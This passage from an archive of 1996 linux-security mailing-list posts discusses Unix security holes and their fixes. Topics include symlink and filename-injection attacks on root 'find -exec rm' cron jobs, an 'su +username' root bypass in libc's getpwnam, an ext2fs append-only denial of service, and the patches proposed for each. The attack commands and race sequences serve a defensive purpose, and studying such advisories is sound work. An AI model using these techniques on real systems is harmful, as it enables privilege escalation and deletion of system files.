4 lrwxrwxrwx 1 root other 4 May 23 17:07 +foo -> /etc/ -rw-r--r-- 1 root other 0 May 23 16:58 -follow -rw-r--r-- 1 root other 0 May 23 17:09 -name -rw-r--r-- 1 root other 0 May 23 17:10 hosts.deny [640]% echo * +foo -follow -name hosts.deny [641]% find * -print +foo/hosts.deny [641]% find * -exec rm {} \; Now it turns out that it will not do the same thing if the path name preceeds the wildcard, fortunately. But if the entry had read: 43 02 * * * root cd /var/tmp; find * -atime +3 -exec rm -f {} \; 2> /dev/null then you wouldn't need race conditions to exploit symbolic links. > Folks, do NOT use 'find' on a public directory with '-exec rm -f' as root > Period. Ever. Delete it from your crontab *now* and finish reading the > rest of this message later. I am convinced of the danger of this. I would also be very careful about uses of chmod and chown commands, which don't even need race conditions to be exploited on many systems: For example: user# ln -s /etc/hosts.allow /home/user/foo/bar/baz later: root# chown -R user /home/user > The next easiest way to fix this is to replace 'rm' with a program that > does not follow symlinks. It must check that each filename component in > turn by doing an lstat() of the directory, chdir() into the directory, > and further lstat()s to check that the device/inode number of '.' is > the same as the directory's device/inode number before chdir(). The > parameter of the 'unlink' or 'rmdir' system call must not contain a > slash; if it does, then the directory name before the slash can be > replaced by a symlink to a different directory between verification of > path components and the actual unlink() call. > Another way to fix this is with a smarter version of find. A smart > find does the chdir() and lstat() checks to make sure that it never > Note that the 'smart' find without the post-chdir symlink tests won't > work. While smart-find is processing: [...] > and eventually smart-find will 'cd ..', but since the current directory > of find has moved, '..' will move as well, and eventually smart-find > will be one level too high and can start descending into other > subdirectories of '/'. To help this along you may need to create: It is a bad idea for a program traversing a directory tree to ever issue "cd .." (or more accurately chdir("..")) as part of that traversal. Instead, use the fchdir() system call. - open() the current directory and store the descriptor in an array with an index corresponding to the level of nesting if it is not already stored (or instead of an array, you can use automatic variables in a self-recursive function). - fstat() the current direcory - open the next level directory, store value in the array - fchdir() to this directory - stat() the parent directory, compare with previous fstat() to see if you have crossed a symbolic link - do whatever you actually wanted to do here, including recursively descending directories. Check files with lstat() to see if they are symbolic links before processing. open() file and compare inode numbers from fstat() and lstat(). Use the open file descriptor to process the file if at all possible. Note there is still a race condition here if you are doing operations on files by name and not by file descriptor. - fchdir() to the previously stored parent directory - close() the child directory file descriptor - close() the parent file descriptor, if appropriate If the directory is deep enough, you might fun out of file descriptors. unfortunately, unix systems lack a flstat() and funlink() calls (these would be to lstat() and unlink() as fchdir() is informationto chdir() Note that mandantory locks on systems which support them could probably be used to exploit some of these race conditions deterministicly without actually needing to create thousands or millions of files if you can lock directories: create /tmp/a/etc/file mandantory lock /tmp/a/etc wait for access time on /tmp/a to change wait for 60 seconds more, to give victom program time to continue replace /tmp/a with symbolic l release lock I do not think the security precautions I give here or the ones in Zygo's message eliminate race conditions for most system calls other than unlink() (which does not follow symbolic links - it deletes the link). Race conditions will exist unless the operating system allows you to do all necessary operations, including chmod(), chmod(), etc, on file descriptors or with link proof versions of the commands instead of path names and you make use of that capability and you do an lstat() before and an fstat() after an open and compare the results. consider, the following sequence of system calls, between two programs. -- victim -- -- attacker-- chdir("/tmp/foo"); chdir("/tmp/foo"); any checks on current directory lstat("bar"); unlink("bar"); symlink("/etc/hosts.deny","bar"); unlink("bar"); This is okay for the unlink() because it will delete the symbolic link instead of the parent. But what about a chmod() or chown() call instead of unlink? "chown -R" or "chmod -R" commands as root may be subject to race conditions, not matter what precautions you take, unless they use file descriptor or link suppressing forms of these commands. It simply doesn't matter how carefully you verify the path if the last component can be changed in many situations. Here is a comparison of some related calls between various OSes: Linux* AIX 3.2 Sunos 4.1.3 Solaris 2.5 chown() Y Y Y Y fchown() Y Y Y Y lchown() N N N Y chmod() Y Y Y Y fchmod() Y Y Y Y lchmod() N N N N stat() Y Y Y Y lstat() Y Y Y Y fstat() Y Y Y Y fstatx() N Y N N flstat() N N N N access() Y Y Y Y faccess() N Y N N faccessx() N Y N N Personally, I think you should be able to issue any system call on a file or directory using a file descriptor; in fact, I would make that the primary interface - old fashioned calls using a pathname could even be emulated (either in the kernel or in libc) based on the file descriptor calls combined with an open(). Linux man pages were from the WWW site http://www.ssc.com/linux/man.html which does not specify a version number. fstatx() allows you to obtain information on symbolic links given a file descriptor. accessx() allows you to check whether a different user has access. When squashing symbolic links, you should have the option to follow symbolic links if either of the following conditions is true: - the link and its destination share the same owner - the link is owned by root. This is necessary for situations such as: ~whitis = /home/whitis /home/whitis --> /disk0/home/whitis (owner root) ~whitis/public_html/index.html which exist at most large sites. -- Mark Whitis ; 804-962-4268 428-B Moseley Drive; Charlottesville, VA 22903 linux-security/linux-security.960528100664 1767 1767 12013 6152614070 16646 0ustar majdommajdomFrom [email protected] Tue May 28 11:13:53 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA01111; Tue, 28 May 1996 11:13:53 -0400 Date: Tue, 28 May 1996 11:02:41 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-security] Serious Security hole in getpwnam () X-Spook: Delta Force bombing genetic X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- This is a *very* serious hole that affects Linux-based NIS client systems. A more formal alert will be posted once a fixed version of libc has been officially released. For those that don't want to (or can't) patch and recompile their own fixed version of libc, I recommend the *immediate* removal of all "stub" NIS username entries, of the forms described in the attached message, from /etc/passwd. - --Up. [Please note that the PGP and forwarding encapsulations have modified the MIME headers and the diff/patch segment.] - ------- start of forwarded message (RFC 934 encapsulation) ------- From: Arno Schaefer Sender: [email protected] Organization: Fraunhofer CRCG, Inc. To: [email protected] Subject: Serious Security hole in getpwnam () Date: Fri, 24 May 1996 15:37:54 -0400 This is a multi-part message in MIME format. - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, I just discovered a major security hole in the getpwnam() function in the current libc (5.3.12, probably present in all previous versions). It can be exploited if there is an entry in the form +username:::::: or -username:::::: or similar in /etc/passwd (an entry to admit or exclude a single user from the NIS passwd file). By typing 'su +username' or 'su -- -username' resp. you become root without being asked for a passwd. 'login' is not vulnerable, so only users with shell access to the machine can exploit the bug. I tried it on two different systems that used NIS, both running Slackware 3.0, libc 5.3.12 and 5.0.9, resp. It can only be used if an entry of the form described above is present, so many systems that do not use NIS or that have only a standard '+' entry are safe against this attack. This apparently has been know for a long time, since the source for 'login' reads: /* Dirty patch to fix a gigantic security hole when using yellow pages. This problem should be solved by the libraries, and not by programs, but this must be fixed urgently! If the first char of the username is '+', we avoid login success. Feb 95 */ if (username[0] == '+') { puts("Illegal username"); badlogin(username); sleepexit(1); } but probably due to bad communication it was not fixed in libc. A similar bug in the same function was fixed over a year ago ('su +' or 'su +@netgroup'), but strangely nobody thought about 'su +username'. I attach a patch that fixes the hole - it was taken against libc 5.3.12, but should be easily adaptable to other versions. I was already in contact with H.J. Lu and expect that the next version of libc will contain this patch. I think this info should be forwarded to the linux-alert mailing list. Regards, Arno -- Arno Schaefer - [email protected] Fraunhofer Center for Research in Computer Graphics, Providence RI -- Opinions expressed are my own and not those of Fraunhofer CRCG -- Never attribute to malice that which can be adequately explained by stupidity - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="getpwnam.patch" Index: getpwnam.c =================================================================== RCS file: /home/work/cvs/linux/libc/pwd/getpwnam.c,v retrieving revision 1.5 diff -c -r1.5 getpwnam.c *** getpwnam.c 1996/05/22 15:49:37 1.5 - - --- getpwnam.c 1996/05/23 06:59:32 *************** *** 53,58 **** - - --- 53,63 ---- register FILE *stream; register struct passwd *p; + #ifdef YP + if (name[0] == '-' || name[0] == '+') + return NULL; + #endif + if (info == NULL) { info = __pwdalloc(); - - --------------63DB9C7E36AD404B638D1437-- - ------- end ------- [Mod: I have also verified the existence of this hole in libc-4.6.27 (a.out). --Jeff.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMasUZnoDqzGe1QXFAQHvzwQAp0qBxFtHl/+4RkxbvK3HETdpT6n/OOFA B15kmXdkgcbCtIF5slfgXbB244KMGf3sebNjtC/IBtNRfyDP7e/P+v4poeEEmcyu BJfc2UxoiE5yK9/L/PgAUgm9exYMVyNT8N9balb509q7eI5gWjhxK9vDb1P0MyI8 NFf2QC7D5mI= =exlk -----END PGP SIGNATURE----- linux-security/linux-security.960530100664 1767 1767 3075 6153324220 16623 0ustar majdommajdomFrom [email protected] Thu May 30 09:54:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id JAA08514; Thu, 30 May 1996 09:54:22 -0400 Message-Id: <[email protected]> X-Sender: [email protected] X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 24 May 1996 11:01:12 -0700 To: Mark Whitis , Zygo Blaxell From: John Pettitt Subject: More find -exec rm dangers was: Re: BoS: Re: [linux-security] Things NOT to put in root's crontab Cc: [email protected], [email protected] Sender: [email protected] Precedence: list At 12:56 PM 5/24/96 -0400, Mark Whitis wrote: >On Tue, 21 May 1996, Zygo Blaxell wrote: > >> >From Redhat's /etc/crontab file: >> ># Remove /var/tmp files not accessed in 10 days >> >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null >> > > > Find (at least the linux source I have) uses execvp to run commands, since execvp follows the PATH environement to find the target program, since *many* people still have a '.' in a root path (silly bu true) find can be fooled into running arbitary programs by leaving a program called 'rm' in the right place. At the very least the -exec should be /bin/rm John Pettitt, [email protected] EVP, CyberSource Corporation, 415 473 3065 PGP Key available at: http://www-swiss.ai.mit.edu/htbin/pks-extract-key.pl?op=get&search=0xB7AA3705 linux-security/linux-security.960601100664 1767 1767 12543 6154156472 16657 0ustar majdommajdomFrom [email protected] Sat Jun 1 20:15:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id UAA19112; Sat, 1 Jun 1996 20:15:35 -0400 From: Zefram Message-Id: <[email protected]> Subject: [linux-security] ext2fs file attributes -- denial-of-service attack To: [email protected] Date: Thu, 30 May 1996 21:20:46 +0100 (BST) X-Loop: [email protected] X-Stardate: [-31]7584.23 X-US-Congress: Moronic fuckers MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 3116 Sender: [email protected] Precedence: list All versions so far of the second extended file system (ext2fs) as implemented in the Linux kernel have the following security problem. Any user is permitted to set any file attribute other than `immutable' on files they own. In particular, an unprivileged user can set the `append-only' flag. To do this merely requires the ability to execute arbitrary code -- the flag is set by an ioctl(2) call. The usual way to set these flags is by use of the chattr(8) command. The effects of the append-only flag being set on a file are o No process, even with privileges, may open the file other than in append mode. The file cannot be truncated. o No process, even with privileges, may use link(2), unlink(2) or rename(2) on the file. The flag can be set on a directory in the same way, in which case o No process, even with privileges, may use rename(2) or rmdir(2) on the directory. o No process, even with privileges, may use rename(2), rmdir(2) or unlink(2) on any entry in the directory. The only differences between the effects of the append-only flag and the immutable flag are that an append-only file may be appended to (whereas an immutable file cannot be opened for writing at all), and an append-only directory may have new entries added to it (whereas an immutable directory can't be modified at all). Note that the immutable flag, because of its extensive effects, can only be set by a privileged process, but the append-only attribute, with most of the same effects, can be set by the owner of the file in question, even if unprivileged. Obviously there are denial-of-service attacks based on this. The most obvious attack is to create a very large file in /tmp and make it append-only -- any root-run program intended to clear /tmp will fail unless it knows to remove the flag. Even if it does know, there is a race condition, as the flag cannot be cleared simultaneously with deletion, but in this case much the same effect could be obtained by merely keeping the file open. Another possible use of this file attribute is to prevent a symbolic link being removed, making some symlink-based attacks that rely on race conditions work deterministically. This is only possible if the attacker owns the directory containing the symlink. In general, anywhere a privileged process assumes it can remove or rename a file owned by any user, that assumption is rendered incorrect if the user can access the file to set the flag. The only possible solution is to modify the semantics of the append-only attribute in the kernel. There are three likely approaches: (1) setting the append-only flag can be limited to privileged processes; (2) the linking-related effects of the flag can be removed, bringing it in line with the description in the chattr man page; (3) the effects of the flag could be made to have no effect on privileged processes. (3) opens some security holes itself, but should be borne in mind. I produced a patch implementing (2) some time ago, but it the relevant kernel developers say that (1) is the preferred approach. -- Andrew Main From [email protected] Sat Jun 1 20:15:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id UAA19128; Sat, 1 Jun 1996 20:15:48 -0400 Message-Id: <[email protected]> Subject: Re: More find -exec rm dangers was: Re: BoS: Re: [linux-security] To: [email protected] (John Pettitt) Date: Thu, 30 May 1996 23:50:10 -0500 (CDT) Cc: [email protected], [email protected], [email protected], [email protected] Reply-To: [email protected] (Igor Chudov) In-Reply-To: <[email protected]> from "John Pettitt" at May 24, 96 11:01:12 am From: [email protected] (Igor Chudov @ home) X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: [email protected] Precedence: list John Pettitt wrote: > >On Tue, 21 May 1996, Zygo Blaxell wrote: > >> >From Redhat's /etc/crontab file: > >> ># Remove /var/tmp files not accessed in 10 days > >> >43 02 * * * root find /var/tmp/* -atime +3 -exec rm -f {} \; 2> /dev/null > > Find (at least the linux source I have) uses execvp to run commands, since > execvp follows the PATH environement to find the target program, since > *many* people still have a '.' in a root path (silly bu true) find can be > fooled into running arbitary programs by leaving a program called 'rm' in > the right place. > > At the very least the -exec should be /bin/rm FYI, find is called from cron daemon, which sets a predefined PATH for all programs that it executes. Therefore, your comment does not apply to cron jobs - Igor. linux-security/linux-security.960602100664 1767 1767 7025 6154341367 16636 0ustar majdommajdomFrom [email protected] Sun Jun 2 12:15:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id MAA23881; Sun, 2 Jun 1996 12:15:42 -0400 From: [email protected] (Remy Card) Message-Id: <[email protected]> Subject: Re: [linux-security] ext2fs file attributes -- denial-of-service attack To: [email protected] (Zefram) Date: Sun, 2 Jun 1996 15:05:10 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from Zefram at "May 30, 96 09:20:46 pm" X-Mailer: ELM [version 2.4ME+ PL19 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1811 Sender: [email protected] Precedence: list About the append-only attribute: > The only possible solution is to modify the semantics of the > append-only attribute in the kernel. There are three likely > approaches: (1) setting the append-only flag can be limited to > privileged processes; (2) the linking-related effects of the flag can > be removed, bringing it in line with the description in the chattr man > page; (3) the effects of the flag could be made to have no effect on > privileged processes. (3) opens some security holes itself, but should > be borne in mind. I produced a patch implementing (2) some time ago, > but it the relevant kernel developers say that (1) is the preferred > approach. Well, (1) is really the way to go, I think, and that is how it is implemented in 4.4BSD (Ok, I did not look carefully enough when implementing the append-only and immutable attributes and I did make a mistake). Here is the patch to implement (1): --- linux/fs/ext2/ioctl.c.orig Sun Jun 2 14:46:16 1996 +++ linux/fs/ext2/ioctl.c Sun Jun 2 14:59:39 1996 @@ -37,11 +37,12 @@ return err; flags = get_user((int *) arg); /* - * The IMMUTABLE flag can only be changed by the super user - * when the security level is zero. + * The IMMUTABLE and APPEND_ONLY flags can only be changed by + * the super user when the security level is zero. */ - if ((flags & EXT2_IMMUTABLE_FL) ^ - (inode->u.ext2_i.i_flags & EXT2_IMMUTABLE_FL)) { + if ((flags & (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL)) ^ + (inode->u.ext2_i.i_flags & + (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL))) { /* This test looks nicer. Thanks to Pauline Middelink */ if (!fsuser() || securelevel > 0) return -EPERM; Linus, can you please integrate it before 2.0 is released? Thanks! > -- > Andrew Main Remy From [email protected] Sun Jun 2 12:36:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id MAA23976; Sun, 2 Jun 1996 12:36:04 -0400 Date: Thu, 30 May 1996 12:13:25 -0400 (EDT) From: Matthew Lessins To: [email protected] Subject: [linux-security] S/Key and Shadow Passwords Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Is anyone using both of these concurrently (I'm running Slackware ver. 3.0, 1.2.13ELF)? I've made a couple small attempts with no luck. Just want to make sure that it's been done and that I'm not wasting too much of my time. Thanks... Matt ============================================== Matt Lessins Wayne State University [email protected] / phone (313) 577-2176 linux-security/linux-security.960603100664 1767 1767 2620 6154465377 16643 0ustar majdommajdomFrom [email protected] Mon Jun 3 00:32:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id AAA00597; Mon, 3 Jun 1996 00:32:58 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt 'Panzer Boy') Newsgroups: mail.linux.security Subject: Re: [linux-security] S/Key and Shadow Passwords Date: 2 Jun 1996 23:12:40 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 15 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Matthew Lessins ([email protected]) wrote: : Is anyone using both of these concurrently (I'm running Slackware ver. 3.0, : 1.2.13ELF)? I've made a couple small attempts with no luck. Just want to : make sure that it's been done and that I'm not wasting too much of my : time. Thanks... ftp://ftp.dhp.com/pub/crypto/skey/shadow-3.3.2-skey-950729.tar.gz It's based on an somewhat older version of the shadow suite, but it works. At some point (next "stable" release of the gpl'd shadow-suite) I will probably re-institute this into it (if it isn't fully integrated already). -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/linux-security.960605100664 1767 1767 25712 6155366360 16665 0ustar majdommajdomFrom [email protected] Wed Jun 5 12:04:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA07246; Wed, 5 Jun 1996 12:04:33 -0400 Date: Wed, 05 Jun 96 08:44:54 EDT Message-Id: <[email protected]> From: Peter Orbaek To: [email protected], [email protected] In-Reply-To: <[email protected]> ([email protected]) Subject: [linux-security] Re: linux-security-digest V2 #23 Sender: [email protected] Precedence: list > I just discovered a major security hole in the getpwnam() function > in the current libc (5.3.12, probably present in all previous > versions). It can be exploited if there is an entry in the form > +username:::::: > or > -username:::::: [...] This is not quite as bad as it sounds. A quick fix is to never use '+' by itself in /etc/passwd to include the entire NIS map, use /etc/host.conf for this instead. Also, I'm not sure the hole is there if you write just '+user' without all the colons. Still, libc should have been fixed a long time ago. - Peter. ([email protected]) From [email protected] Wed Jun 5 12:07:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA07263; Wed, 5 Jun 1996 12:07:32 -0400 From: [email protected] (Jeffrey J. Radice) Message-Id: <[email protected]> Subject: [linux-security] standard users,groups,perms? To: [email protected] Date: Tue, 4 Jun 1996 14:39:23 -0500 (CDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list [Mod: Please direct replies to the post's author, unless the reply is specifically intended for a "general" audience. This subject has had a go-around here before, to some extent. Thanks! --Jeff.] I am interested in whether there is any de-facto standard for sysem-level users and groups, and for ownerships/permissions/setuid bits for files on a Linux system. The FSSTND group effectively dodges the issue (from the fsstnd FAQ): Q) Why doesn't the standard specify the system-level users/groups and proper ownerships/permissions/setuid bits for everything? A) We feel that this is, primarily, a local issue. Many sites have their own local user-id/group-id setup, and linux boxes will have to be integrated with those. What's more, there is very little gain from standardizing these across all linux machines, as it typically is not essential to allow binary distributions. It seems to me that this is a valid topic of discussion for the security list, so I am raising it here. It seems to me that there is something to be gained (understanding, security) by standardizing at least the system-level users and groups. I have rolled my own distribution of Linux, and I've been dodging this issue for quite some time. I'm getting ready to add shadow passwords, and user accounts, so I need to settle on some (at least site-specific) standard. I don't know where to start, however. I have been unable to find any document that cares to broach the issue. This seems to be ignored, or barely addressed in the books I've read about UNIX security. Is this something that is left up to makers of distributions? I have looked at how Slackware handles system users/groups/perms. I would like a better understanding of the security issues surrounding this. Is there any documentation for the Linux community on this issue? If not, would somebody kindly suggest to me a viable system that I could implement. I've compiled the following chart based on my own understandings. I'm not sure that there is a need for so many system users or groups (eg. why would I have certain files/directories owned by a specific non-root user and not root?) Could somebody critique this? Users: ----- name uid home purpose ---- --- ---- ------- root 0 /root SuperUser. nobody 65534 -- NullUser. System (1-9) daemon 1 /tmp Run daemon (crond,lpd) processes. bin 2 / Own binaries (bin,sbin,etc) directories. sys 3 / Own systems (lib,include,kernel) dirs. adm 4 /var/adm Own administrative (/var/adm,...) dirs. uucp 5 -- Run modem operations. operator 6 -- Run operation (non-root) procs. ?? info 7 -- Own information (man,info,doc) dirs. Servers (10-100) www 10 /usr/local/www Run www procs. samba 20 /usr/local/samba Run samba procs. (Not Nobody!) Users (100-) Accounts for actual users. ------ Groups: ------- name no. members perms ---- --- ------- ----- wheel 0 'su'capable rx for Secured items, all purpose. nogroup 65534 nobody --- Group for nobody (no other use). System daemon 1 -- (root) rwx for spooling & file xfers. kmem 2 -- rx for memory/kernel reading progs. tty 4 -- rw for ttys (+x for access to ttys). Administrators (keep access to the tasks separate) Access to binaries/logs bin 3 Bin admin. rwx for admin. (sbin) binaries. operator 5 Etc admin. rwx for admin (etc) texts. adm 6 Log admin. r for system logs, rx for u/wtmp. Staff group staff 10 staff --- Primary GCOS group for staff. Access to texts/sources src 11 Src admin. rw for source dirs/files. info 12 Doc admin. rw for info (man,doc,info) dirs/files. www 13 Web admin. rw for www files. Access to devices lp 20 Printer. rwx for lpr. disk 21 Disks. rwx for disks (mounting,floppy...). dos 22 Dos partitions. rw for dos partitions (samba...). Purgatory other 30 -- r for Non-secure items, all purpose. Users user 1000 Default User Group Can somebody make sense of all this for me. It seems that I may have made things a bit too complex? Is there any benefit to simplifying and making most things simply root.wheel owned, or is there any benefit to splitting ownership into different levels of access? Is there anything I've left out? I also would like further information about standard permissions. All criticism/commentary is welcome. -jjr Jeffrey J. Radice [email protected] Defensive Generalist http://oj.simpson.com Box 4343, Austin, TX 78765 512-432-4757 From [email protected] Wed Jun 5 12:07:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA07279; Wed, 5 Jun 1996 12:07:50 -0400 Date: Sun, 2 Jun 1996 23:21:31 -1000 (HST) From: Jordy To: linux-security Subject: [linux-security] SSL Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I'm curious to know everyone's thoughts on the Secure Socket Layer implementations for Linux. At this time, they provide Authentication and integration with Keberos (if i read the SSLtelnet docs correctly) This seems like a plausable solution to secure intranets and for the rest of the internet community. One thing that seems to bother me is that in the telnet daemon, it won't ask for the login name if the client and daemon have authentication. I guess this is a "feature", it would be a lot nicer if it used the keys and the password with kerberos encryption. I think this would probably fix the problem of packet sniffing of the passwords while login. I really wish the US would get off its high horse and allow stranger encryption methods to be released outside of the US. Once and for all we could end this game we play with hackers at this level at least. Jordy From [email protected] Wed Jun 5 16:24:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA08788; Wed, 5 Jun 1996 16:24:09 -0400 Date: Wed, 5 Jun 1996 15:31:03 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? Sender: [email protected] Precedence: list > [Mod: Please direct replies to the post's author, unless the reply is > specifically intended for a "general" audience. This subject has had a > go-around here before, to some extent. Thanks! --Jeff.] I think that the following bears to be said again. Actually, I don't find any record of me saying it before in this forum - you've heard me say this in linux:slp and dc-sage, and perhaps in dc-linux. I think that it's still of general interest. > I'm not sure that there is a need for so many system users or groups > (eg. why would I have certain files/directories owned by a specific > non-root user and not root?) Could somebody critique this? I always insist that absolutely nothing at all whatsoever on the file system be owned by root. Nothing. At all. Unless there is no other way to do it (whatever the "it" might be). There should be a small set of accounts whose passwords are protected equally as well as root's, that are used for maintaining the various parts of the system. These would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, field, etc. Directories and files - ESPECIALLY setuid programs (and more of those should be setgid) - should be owned by one of these, and NOT by root. This would reduce immensely the number of times that it would be "necessary" to be root to perform some task or other; and thus the number of windows of opportunity for certain types of attack - and for simple mistakes. [ANECDOTE WITH A RELATED POINT, I THINK] Recently, at a site whose administrator is in our local SAGE chapter, someone's helper edited the /etc/password file and accidentally altered the super-user password. The /etc/password file was owned by root. It couldn't be fixed without resorting to booting a stand-alone system in a memory disk from the installation media. That took a while - and an appeal to the mailing list - to come up with. Needless. Joe Yao [email protected] - Joseph S. D. Yao linux-security/linux-security.960606100664 1767 1767 26462 6155604023 16660 0ustar majdommajdomFrom [email protected] Thu Jun 6 11:51:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA14612; Thu, 6 Jun 1996 11:51:38 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] SSL To: [email protected] (Jordy) Date: Thu, 6 Jun 1996 10:29:22 +0100 (BST) Cc: [email protected] In-Reply-To: from "Jordy" at Jun 2, 96 11:21:31 pm Content-Type: text Content-Length: 603 Sender: [email protected] Precedence: list > One thing that seems to bother me is that in the telnet daemon, it won't > ask for the login name if the client and daemon have authentication. I > guess this is a "feature", it would be a lot nicer if it used the keys > and the password with kerberos encryption. I think this would probably > fix the problem of packet sniffing of the passwords while login. ssh is a slightly different tool but has these features. US citizens can get it from finland but do need to read the documentation to disable certain items before their Government will allow them to use it (patent hooha as usual) Alan From [email protected] Thu Jun 6 11:51:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA14628; Thu, 6 Jun 1996 11:51:59 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Jeffrey J. Radice) Date: Thu, 6 Jun 1996 10:34:07 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Jeffrey J. Radice" at Jun 4, 96 02:39:23 pm Content-Type: text Content-Length: 178 Sender: [email protected] Precedence: list > bin 2 / Own binaries (bin,sbin,etc) directories. Not if you have NFS. Also consider the fact root security is much more tightly guarded than bin. From [email protected] Thu Jun 6 11:52:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA14648; Thu, 6 Jun 1996 11:52:08 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Joseph S. D. Yao) Date: Thu, 6 Jun 1996 09:55:09 +0200 (METDST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Joseph S. D. Yao" at Jun 5, 96 03:31:03 pm From: [email protected] (Rogier Wolff) X-Return-Receipt-To: [email protected] X-Priority: 1 X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1753 Sender: [email protected] Precedence: list > I always insist that absolutely nothing at all whatsoever on the file > system be owned by root. Nothing. At all. Unless there is no other > way to do it (whatever the "it" might be). There should be a small set > of accounts whose passwords are protected equally as well as root's, > that are used for maintaining the various parts of the system. These > would be, e.g., bin, sys, adm, daemon, kmem, mail, uucp, lp, games, > field, etc. Directories and files - ESPECIALLY setuid programs (and > more of those should be setgid) - should be owned by one of these, and > NOT by root. This would reduce immensely the number of times that it > would be "necessary" to be root to perform some task or other; and thus > the number of windows of opportunity for certain types of attack - and > for simple mistakes. And in practise, the "root" account is better protected by such provisions as securetty (can root login on /dev/modem, /dev/pty0?) nfs root->nobody remapping, rhosts' special case for "root" (Not honouring /etc/hosts.equiv) etc etc. So I agree with you that for a set of unexperienced administrators, it would be nice to have each of them only capable of creating havock with only part of the system. Once you can get all applications(*) to treat uids < SOME_LIMIT the same as "root" I would start to agree with you. Roger. (*) And it will be hard to verify that we've modified indeed ALL applications..... -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** From [email protected] Thu Jun 6 12:31:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA14833; Thu, 6 Jun 1996 12:31:38 -0400 Date: Thu, 6 Jun 1996 11:45:17 -0400 (EDT) From: Squawk To: Jordy cc: linux-security Subject: Re: [linux-security] SSL In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 2 Jun 1996, Jordy wrote: > > I'm curious to know everyone's thoughts on the Secure Socket Layer > implementations for Linux. At this time, they provide Authentication and > integration with Keberos (if i read the SSLtelnet docs correctly) This > seems like a plausable solution to secure intranets and for the rest of > the internet community. > > One thing that seems to bother me is that in the telnet daemon, it won't > ask for the login name if the client and daemon have authentication. I > guess this is a "feature", it would be a lot nicer if it used the keys > and the password with kerberos encryption. I think this would probably > fix the problem of packet sniffing of the passwords while login. I believe (though I could be wrong on this one) that kerberos has the same "feature" which means when connecting across a kerberos network you will never see a login. this makes it alot more convienient (alot like .rhosts entries but more secure) but its mainly because the less times you type a login/passwd the less times a sniffer can pick them up, even if its encrypted. -Dan From [email protected] Thu Jun 6 